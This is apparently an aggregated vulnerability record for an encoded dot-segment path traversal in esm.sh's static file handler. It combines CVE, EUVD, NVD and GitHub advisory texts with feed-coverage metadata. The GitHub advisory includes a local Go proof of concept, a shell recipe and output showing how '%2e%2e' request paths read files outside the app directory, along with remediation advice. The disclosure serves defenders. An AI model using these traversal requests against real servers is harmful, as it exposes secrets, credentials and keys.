{"id":"GHSA-g3c2-rjq2-c763","revision":null,"records":[{"revision":"e15b33c062f042c18c5e6e21bbb6a012","observedAt":"2026-11-11T04:25:37.534+00:00","statement":{"source":"cve-program","id":"CVE-2026-102657","aliases":[],"title":"esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal","description":"esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying that the result remains inside the configured application directory. URL-encoded dot segments such as %2e%2e bypass the plain traversal redirect performed by Go's ServeMux, allowing an unauthenticated remote attacker to make the server open and return files outside Config.AppDir that are readable by the server process. The confirmed impact is file disclosure only, and the issue is reachable with Dev disabled. This issue is fixed in server version 137_7.","state":0,"publishedAt":"2026-11-06T20:49:28.708+00:00","modifiedAt":"2026-11-11T03:30:44.632+00:00","affected":[{"ecosystem":"Vendor product","name":"esm.sh","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"esm-dev\",\n                    \"product\": \"esm.sh\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 137_7\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g3c2-rjq2-c763","https://github.com/esm-dev/esm.sh/pull/1376","https://github.com/esm-dev/esm.sh/commit/468b6b2a4b4dfec334cf6b33b01fcd4e5cd93bed","https://github.com/esm-dev/esm.sh/commit/fc3b345e73aeaa0b7a05b6f27d91c05fdf5f9b53","https://github.com/esm-dev/esm.sh/releases/tag/v137_7"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-102657","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-102657","identifiers":["CVE-2026-102657"]},"retained":false,"historicalAffected":[]},{"revision":"4ed6e776ef884c5482c5a1c772796483","observedAt":"2026-11-16T07:35:41.773+00:00","statement":{"source":"euvd","id":"EUVD-2026-118494","aliases":["CVE-2026-102657","GHSA-g3c2-rjq2-c763"],"title":"esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying…","description":"esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying that the result remains inside the configured application directory. URL-encoded dot segments such as %2e%2e bypass the plain traversal redirect performed by Go's ServeMux, allowing an unauthenticated remote attacker to make the server open and return files outside Config.AppDir that are readable by the server process. The confirmed impact is file disclosure only, and the issue is reachable with Dev disabled. This issue is fixed in server version 137_7.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":null}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g3c2-rjq2-c763","https://github.com/esm-dev/esm.sh/pull/1376","https://github.com/esm-dev/esm.sh/commit/468b6b2a4b4dfec334cf6b33b01fcd4e5cd93bed","https://github.com/esm-dev/esm.sh/commit/fc3b345e73aeaa0b7a05b6f27d91c05fdf5f9b53","https://github.com/esm-dev/esm.sh/releases/tag/v137_7"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-118494","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 6, 2026, 8:49:28 PM","dateUpdated":"Nov 11, 2026, 3:30:44 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-118494","identifiers":["EUVD-2026-118494","CVE-2026-102657","GHSA-g3c2-rjq2-c763"]},"retained":false,"historicalAffected":[]},{"revision":"073a07f6e3b7426e9a44ce7df830db4a","observedAt":"2026-11-11T23:56:51.696+00:00","statement":{"source":"nvd","id":"CVE-2026-102657","aliases":[],"title":"esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying…","description":"esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying that the result remains inside the configured application directory. URL-encoded dot segments such as %2e%2e bypass the plain traversal redirect performed by Go's ServeMux, allowing an unauthenticated remote attacker to make the server open and return files outside Config.AppDir that are readable by the server process. The confirmed impact is file disclosure only, and the issue is reachable with Dev disabled. This issue is fixed in server version 137_7.","state":0,"publishedAt":"2026-11-06T21:17:05.863+00:00","modifiedAt":"2026-11-11T05:19:15.243+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/commit/468b6b2a4b4dfec334cf6b33b01fcd4e5cd93bed","https://github.com/esm-dev/esm.sh/commit/fc3b345e73aeaa0b7a05b6f27d91c05fdf5f9b53","https://github.com/esm-dev/esm.sh/pull/1376","https://github.com/esm-dev/esm.sh/releases/tag/v137_7","https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g3c2-rjq2-c763"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102657","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-11-06T21:17:05.863","lastModified":"2026-11-11T05:19:15.243"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-102657","identifiers":["CVE-2026-102657"]},"retained":false,"historicalAffected":[]},{"revision":"25551660ba124887b177f2a5c934643b","observedAt":"2026-11-09T23:04:27.387+00:00","statement":{"source":"osv","id":"GHSA-g3c2-rjq2-c763","aliases":["CVE-2026-102657"],"title":"esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal","description":"### Summary\n\nThe documented `web.NewHandler` static file server can read files outside `Config.AppDir` when the request path contains URL-encoded dot-segments such as `%2e%2e`. Go's `ServeMux` redirects plain `/../` paths, but it passes encoded dot-segments to the handler after decoding `r.URL.Path`. The handler then calls `filepath.Join(s.config.AppDir, r.URL.Path)` without checking that the result remains under `AppDir`, allowing unauthenticated arbitrary file reads with the server process privileges.\n\n### Details\n\n`web/README.md:34-40` documents a network-facing setup:\n\n```go\nhttp.Handle(\"GET /\", web.NewHandler(web.Config{\n  AppDir: \"/path/to/webapp\",\n  Fallback: \"/index.html\",\n  Dev: false,\n}))\nlog.Fatal(http.ListenAndServe(\":8080\", nil))\n```\n\nIn `web/handler.go:62-75`, the handler takes `r.URL.Path` and joins it directly with `s.config.AppDir`:\n\n```go\npathname := r.URL.Path\nfilename := filepath.Join(s.config.AppDir, pathname)\nfi, err := os.Lstat(filename)\n```\n\nLater the same resolved filename is opened and copied to the response in `web/handler.go:150-166` for non-HTML/static files. There is no `filepath.IsLocal`, cleaned-relative-path, absolute-root prefix, or symlink-aware containment check before opening the file.\n\nA plain `/../secret.txt` path is redirected by Go's `ServeMux`, but an encoded path such as `/%2e%2e/secret.txt` is decoded into `r.URL.Path == \"/../secret.txt\"` and reaches the handler. On Linux, `filepath.Join(\"/tmp/root/app\", \"/../secret.txt\")` resolves to `/tmp/root/secret.txt`, outside the configured app directory.\n\nSource-to-sink chain:\n\n```text\nUnauthenticated HTTP request path containing URL-encoded dot-segments\n-> net/http decodes path into r.URL.Path\n-> documented ServeMux setup passes encoded dot-segment path to web.NewHandler\n-> web/handler.go joins Config.AppDir with r.URL.Path\n-> os.Lstat/os.Open operate on the escaped path\n-> io.Copy returns file contents to the attacker\n```\n\nFalse-positive checks performed:\n- Plain dot-segment paths are redirected by `http.ServeMux`, but encoded dot-segments are not blocked and reach the handler.\n- The PoC uses the documented `http.Handle(\"GET /\", web.NewHandler(...))` setup, not a custom bypass of ServeMux.\n- A control request for `/secret.txt` does not read the outside file; the disclosure requires encoded traversal segments.\n- The issue is independent of `Dev`/HMR; it reproduces with `Dev: false`.\n- The root cause appears in other handler paths that join app paths, but the static file read path is sufficient to prove arbitrary file disclosure.\n\nCandidate score: 18/18 under the local audit scoring rubric. The handler is documented for network-facing use, the attacker directly controls the request path, the path reaches `os.Open`, file disclosure was reproduced locally, and no root containment mitigation is present.\n\n### PoC\n\nThis safe local proof creates an application directory and a sibling secret file outside it, registers the handler exactly as documented, and requests the sibling file through encoded `..` path segments.\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"os\"\n    \"strings\"\n\n    \"github.com/esm-dev/esm.sh/web\"\n)\n\nfunc main() {\n    mux := http.NewServeMux()\n    mux.Handle(\"GET /\", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false}))\n    for _, target := range []string{\n        \"http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt\",\n        \"http://example/secret.txt\",\n    } {\n        rr := httptest.NewRecorder()\n        req := httptest.NewRequest(\"GET\", target, nil)\n        mux.ServeHTTP(rr, req)\n        fmt.Printf(\"%s => status=%d location=%q contains_secret=%v body=%q\\n\",\n            target,\n            rr.Code,\n            rr.Header().Get(\"Location\"),\n            strings.Contains(rr.Body.String(), \"ancestor-secret-marker\"),\n            rr.Body.String(),\n        )\n    }\n}\n```\n\nMaintainer-runnable clean-checkout recipe:\n\n```sh\ntmp=$(mktemp -d)\nmkdir -p \"$tmp/root/a/b/app\"\nprintf 'ancestor-secret-marker' > \"$tmp/root/secret.txt\"\nprintf '<h1>inside</h1>' > \"$tmp/root/a/b/app/index.html\"\ncat > \"$tmp/poc.go\" <<'EOF'\n[place the PoC above here]\nEOF\ngo run \"$tmp/poc.go\" \"$tmp/root/a/b/app\"\nrm -rf \"$tmp\"\n```\n\nObserved vulnerable output in this environment:\n\n```text\nhttp://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location=\"\" contains_secret=true body=\"ancestor-secret-marker\"\nhttp://example/secret.txt => status=200 location=\"\" contains_secret=false body=\"<h1>inside</h1>\"\n```\n\nFinal re-check after drafting reproduced the same output:\n\n```text\nhttp://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location=\"\" contains_secret=true body=\"ancestor-secret-marker\"\nhttp://example/secret.txt => status=200 location=\"\" contains_secret=false body=\"<h1>inside</h1>\"\n```\n\nAdditional parser/control evidence observed locally:\n\n```text\nhttp://example/../secret.txt => status=307 loc=\"/secret.txt\"\nhandler Path=\"/../secret.txt\" RawPath=\"/%2e%2e/secret.txt\"\nhttp://example/%2e%2e/secret.txt => status=204 loc=\"\"\nhttp://example/a/../../secret.txt => status=307 loc=\"/secret.txt\"\n```\n\nThis confirms that the documented `ServeMux` setup redirects plain traversal paths but lets encoded dot-segments reach the handler.\n\n### Impact\n\nAn unauthenticated remote attacker can read files that are outside the configured web application directory but readable by the server process. Depending on deployment layout and process privileges, this can disclose source files, configuration files, environment-adjacent files, build artifacts, local credentials, private keys, or other application secrets located in ancestor or sibling directories.\n\nThe impact is limited to file disclosure in the confirmed path. No write primitive or code execution was confirmed in this audit.\n\n### Suggested remediation\n\nNormalize request paths into a cleaned relative path before joining them with `AppDir`, and reject any path that is not local. A robust pattern is:\n\n- reject paths containing NUL bytes,\n- use `path.Clean(\"/\" + r.URL.EscapedPath())` or an equivalent URL-path canonicalization step,\n- trim the leading slash and reject non-local paths with `filepath.IsLocal`,\n- join only the validated relative path to `AppDir`,\n- optionally compare absolute cleaned paths to ensure the result remains inside the absolute app root,\n- consider symlink policy explicitly if symlinks inside `AppDir` should not escape the app root.\n\nAdd regression tests for `/%2e%2e/secret.txt`, multi-level encoded traversal, plain `/../` behavior, and normal in-app file serving.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)","state":0,"publishedAt":"2026-11-09T22:03:29+00:00","modifiedAt":"2026-11-09T22:15:03.9120824+00:00","affected":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh/web","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g3c2-rjq2-c763","https://nvd.nist.gov/vuln/detail/CVE-2026-102657","https://github.com/esm-dev/esm.sh/pull/1376","https://github.com/esm-dev/esm.sh/commit/468b6b2a4b4dfec334cf6b33b01fcd4e5cd93bed","https://github.com/esm-dev/esm.sh/commit/fc3b345e73aeaa0b7a05b6f27d91c05fdf5f9b53","https://github.com/esm-dev/esm.sh","https://github.com/esm-dev/esm.sh/releases/tag/v0.2.0","https://github.com/esm-dev/esm.sh/releases/tag/v137_7"],"sourceUrl":"https://github.com/advisories/GHSA-g3c2-rjq2-c763","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-g3c2-rjq2-c763","identifiers":["GHSA-g3c2-rjq2-c763","CVE-2026-102657"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-16T07:32:32.4076395+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-16T07:32:32.4076395+00:00","lastSuccessAt":"2026-11-16T07:32:32.5904886+00:00","error":null,"lastVerifiedAt":"2026-11-16T07:32:32.5904895+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-6be044d0e08779dadd136f949a536de4047af96f5d7bceb7e190ecffbb8f18ca-852c41e0398c5933bf47507bd6a4354ae6dd0427b187cdc580f4e043465ae9ee","complete":true,"records":425883,"lastAttemptAt":"2026-11-16T07:30:54.7871952+00:00","lastSuccessAt":"2026-11-16T07:30:54.7760695+00:00","error":null,"lastVerifiedAt":"2026-11-16T07:30:54.7871952+00:00","snapshotPublishedAt":"2026-11-16T06:41:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a5655815735b47618d646d9aa1f334e0","complete":false,"records":13821,"lastAttemptAt":"2026-11-16T07:39:16.022532+00:00","lastSuccessAt":"2026-11-16T07:39:16.0900572+00:00","error":null,"lastVerifiedAt":"2026-11-16T07:39:16.0900572+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-16T07:32:32.4076395+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-16T07:32:32.4076395+00:00","lastSuccessAt":"2026-11-16T07:32:32.5915466+00:00","error":null,"lastVerifiedAt":"2026-11-16T07:32:32.5915471+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bb7f21937f804ec094b5bc0b414dfbfd","complete":false,"records":13833,"lastAttemptAt":"2026-11-16T07:33:26.9241973+00:00","lastSuccessAt":"2026-11-16T07:33:26.921+00:00","error":"400 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-16T07:33:26.921+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13874,"failedIdentifiers":400},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-16T07:32:32.2149905+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-16T07:32:32.2149905+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-16T07:30:54.9714816+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-16T07:30:54.9714816+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-16T07:32:32.3385777+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-16T07:32:32.3385777+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-263d9c8d63997345727b11314d9b9377eba9fd4146f04497c069a15e332b60cb","complete":true,"records":232482,"lastAttemptAt":"2026-11-16T07:32:32.0903923+00:00","lastSuccessAt":"2026-11-16T07:32:30.5701252+00:00","error":null,"lastVerifiedAt":"2026-11-16T07:32:32.0903923+00:00","snapshotPublishedAt":"2026-11-16T06:48:00+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}